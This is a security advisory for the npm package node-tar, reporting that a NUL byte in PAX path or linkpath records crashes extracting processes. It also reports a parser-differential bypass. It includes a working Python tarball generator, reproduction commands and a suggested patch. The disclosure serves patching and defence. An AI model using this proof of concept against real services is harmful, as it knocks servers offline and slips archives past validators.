GHSA-GVWX-54WH-QM9J

Vulnerability from github – Published: 2026-07-20 21:51 – Updated: 2026-07-20 21:51
VLAI
Summary
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
Details

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.

Root cause

Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in: - src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir - src/list.ts (no crash — listing tolerates NUL in strings) - Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.

Proof of Concept

Artifacts

  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)

Reproduction

# 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'

Observed output (verified 2026-06-23 against tar@7.5.16)

UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.

Impact

Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)

Tool Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) Lists visible.txt (truncated at NUL)
bsdtar -tvf Lists visible.txt (truncated at NUL)
Python tarfile.list() Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.

Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.16"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:51:12Z",
    "nvd_published_at": "2026-07-08T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer\u0027s `await/try-catch` around `tar.x()` \u2014 it surfaces as `uncaughtException` and terminates the process.\n\nThis is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.\n\nA secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.\n\n---\n\n## Root cause\n\n### Vulnerable sink \u2014 `src/pax.ts:157-183`\n\nPAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:\n\n```ts\n// src/pax.ts:157\nconst parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n  const n = parseInt(line, 10)\n  if (n !== Buffer.byteLength(line) + 1) return set\n  line = line.slice((n + \u0027 \u0027).length)\n  const kv = line.split(\u0027=\u0027)\n  const r = kv.shift()\n  if (!r) return set\n  const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n  const v = kv.join(\u0027=\u0027)                                 // \u003c-- NO NUL STRIP\n  set[k] =\n    /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n      new Date(Number(v) * 1000)\n    : /^[0-9]+$/.test(v) ? +v\n    : v                                                  // \u003c-- v with NULs lands here\n  return set\n}\n```\n\nThe PAX record body is length-prefixed, so the parser knows the exact byte boundary \u2014 but it never checks whether the value half between `=` and `\\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.\n\n### Correctly-patched cousin sink \u2014 `src/parse.ts:375-388`\n\nThe equivalent code path for GNU L/K long-headers **does** strip NUL bytes:\n\n```ts\n// src/parse.ts:375\ncase \u0027NextFileHasLongPath\u0027:\ncase \u0027OldGnuLongPath\u0027: {\n  const ex = this[EX] ?? Object.create(null)\n  this[EX] = ex\n  ex.path = this[META].replace(/\\0.*/, \u0027\u0027)               // \u003c-- NUL strip applied\n  break\n}\ncase \u0027NextFileHasLongLinkpath\u0027: {\n  const ex = this[EX] || Object.create(null)\n  this[EX] = ex\n  ex.linkpath = this[META].replace(/\\0.*/, \u0027\u0027)           // \u003c-- NUL strip applied\n  break\n}\n```\n\nThe `parse.ts` fix is the maintainer\u0027s own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.\n\n### Downstream blast radius\n\n`entry.path` and `entry.linkpath` are consumed in:\n- `src/unpack.ts` \u2192 `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`\n- `src/list.ts` (no crash \u2014 listing tolerates NUL in strings)\n- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`\n\nThe crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user\u0027s `await tar.x(...)` Promise rejection boundary.\n\n---\n\n## Proof of Concept\n\n### Artifacts\n- `poc-null-byte-crash.tar` \u2014 3072 bytes \u2014 PAX `path=visible.txt\\x00hidden.txt`\n- `poc-null-linkpath-crash.tar` \u2014 2560 bytes \u2014 PAX `linkpath=target\\x00garbage` (symlink target sink)\n- `poc1-pax-prefix.py` \u2014 minimal PAX-header builder (Python 3, no deps)\n\n### Tarball generator (minimal repro \u2014 Python 3)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PAX-NUL-injection tarball generator for node-tar PoC.\"\"\"\nimport os\n\ndef cksum(b):\n    s = 0\n    for i, x in enumerate(b):\n        s += 0x20 if 148 \u003c= i \u003c 156 else x\n    return s\n\ndef pad512(buf):\n    rem = len(buf) % 512\n    return buf + b\u0027\\0\u0027 * (512 - rem) if rem else buf\n\ndef hdr(name, size, typeflag, prefix=b\u0027\u0027, linkpath=b\u0027\u0027):\n    b = bytearray(512)\n    b[0:len(name[:100])] = name[:100]\n    b[100:108] = b\u00270000644\\0\u0027\n    b[108:116] = b\u00270001000\\0\u0027\n    b[116:124] = b\u00270001000\\0\u0027\n    b[124:136] = (\u0027%011o \u0027 % size).encode()\n    b[136:148] = (\u0027%011o \u0027 % 0).encode()\n    b[148:156] = b\u0027        \u0027\n    b[156:157] = typeflag\n    b[157:157+len(linkpath[:100])] = linkpath[:100]\n    b[257:265] = b\u0027ustar\\x0000\u0027\n    b[265:270] = b\u0027root\\0\u0027\n    b[297:302] = b\u0027root\\0\u0027\n    b[329:337] = b\u00270000000\\0\u0027\n    b[337:345] = b\u00270000000\\0\u0027\n    b[345:345+len(prefix[:155])] = prefix[:155]\n    s = cksum(b)\n    b[148:156] = (\u0027%06o\\0 \u0027 % s).encode()\n    return bytes(b)\n\ndef pax(records):\n    body = b\u0027\u0027\n    for k, v in records:\n        kv = b\u0027 \u0027 + k + b\u0027=\u0027 + v + b\u0027\\n\u0027\n        for digits in range(1, 8):\n            total = digits + len(kv)\n            if len(str(total)) == digits:\n                break\n        body += str(total).encode() + kv\n    return pad512(hdr(b\u0027PaxHeader/poc\u0027, len(body), b\u0027x\u0027) + body)\n\nout  = pax([(b\u0027path\u0027, b\u0027visible.txt\\x00hidden.txt\u0027)])  # NUL in PAX path\nout += hdr(b\u0027placeholder\u0027, 1, b\u00270\u0027)\nout += pad512(b\u0027A\u0027)\nout += b\u0027\\0\u0027 * 1024  # end-of-archive\n\nopen(\u0027poc.tar\u0027, \u0027wb\u0027).write(out)\n```\n\n### Reproduction\n\n```bash\n# 1. Generate tarball\npython3 poc1-pax-prefix.py          # writes poc.tar (3 KB)\n\n# 2. Install vulnerable version\nmkdir repro \u0026\u0026 cd repro\nnpm init -y \u0026\u0026 npm install tar@7.5.16\n\n# 3. Try to extract with documented try/catch \u2014 observe uncaught exception\nmkdir -p ./out\nnode --input-type=module -e \u0027\n  process.on(\"uncaughtException\", e =\u003e {\n    console.log(\"UNCAUGHT:\", e.code, \"-\", e.message);\n    process.exit(99);\n  });\n  import(\"tar\").then(async tar =\u003e {\n    try {\n      await tar.x({ file: \"../poc.tar\", cwd: \"./out\" });\n      console.log(\"NORMAL_RETURN\");\n    } catch (e) {\n      console.log(\"CAUGHT_BY_USER:\", e.code);\n    }\n  });\u0027\n```\n\n### Observed output (verified 2026-06-23 against `tar@7.5.16`)\n\n```\nUNCAUGHT: ERR_INVALID_ARG_VALUE - The argument \u0027path\u0027 must be a string,\nUint8Array, or URL without null bytes.\nReceived \u0027/.../out/visible.txt\\x00hidden.txt\u0027\nexit: 99\n```\n\nThe exception bypasses the user\u0027s `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.\n\n---\n\n## Impact\n\n### Direct: remote DoS\n\nAny service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:\n\n- npm registry tarball ingestion and downstream mirrors\n- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)\n- Container image build pipelines that unpack layer tarballs through node tooling\n- Backup-restore services accepting user uploads\n- CI artifact processors and badge generators\n- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs\n- Cloud functions that auto-extract uploaded archives\n\nA correctly-coded consumer that does:\n\n```js\ntry {\n  await tar.x({ file: req.upload.path, cwd: tmpdir });\n} catch (e) {\n  return res.status(400).json({ error: \u0027bad archive\u0027 });\n}\n```\n\ndoes not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.\n\n### Secondary: parser-differential validator bypass (CWE-436)\n\n| Tool                       | Result for `path=visible.txt\\x00hidden.txt` |\n|----------------------------|----------------------------------------------|\n| GNU tar (`tar -tvf`)       | Lists `visible.txt` (truncated at NUL)      |\n| `bsdtar -tvf`              | Lists `visible.txt` (truncated at NUL)      |\n| Python `tarfile.list()`    | Lists `visible.txt\\x00hidden.txt` (raw)     |\n| node-tar `tar.t({file})`   | Emits raw NUL-bearing path (no crash)       |\n| node-tar `tar.x({file})`   | **Crashes** (uncaught throw)                |\n\nA pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.\n\n---\n\n## Suggested patch\n\nMatch the long-name handler in `parse.ts` \u2014 strip everything from the first NUL onward in `parseKVLine` value parsing:\n\n```diff\n--- a/src/pax.ts\n+++ b/src/pax.ts\n@@ -173,7 +173,7 @@ const parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n\n   const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n\n-  const v = kv.join(\u0027=\u0027)\n+  const v = kv.join(\u0027=\u0027).replace(/\\0.*$/, \u0027\u0027)\n   set[k] =\n     /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n       new Date(Number(v) * 1000)\n```\n\nThis matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.\n\nA defense-in-depth follow-up: add an explicit `assert(!v.includes(\u0027\\0\u0027))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren\u0027t* path/linkpath also can\u0027t smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).",
  "id": "GHSA-gvwx-54wh-qm9j",
  "modified": "2026-07-20T21:51:12Z",
  "published": "2026-07-20T21:51:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records"
}



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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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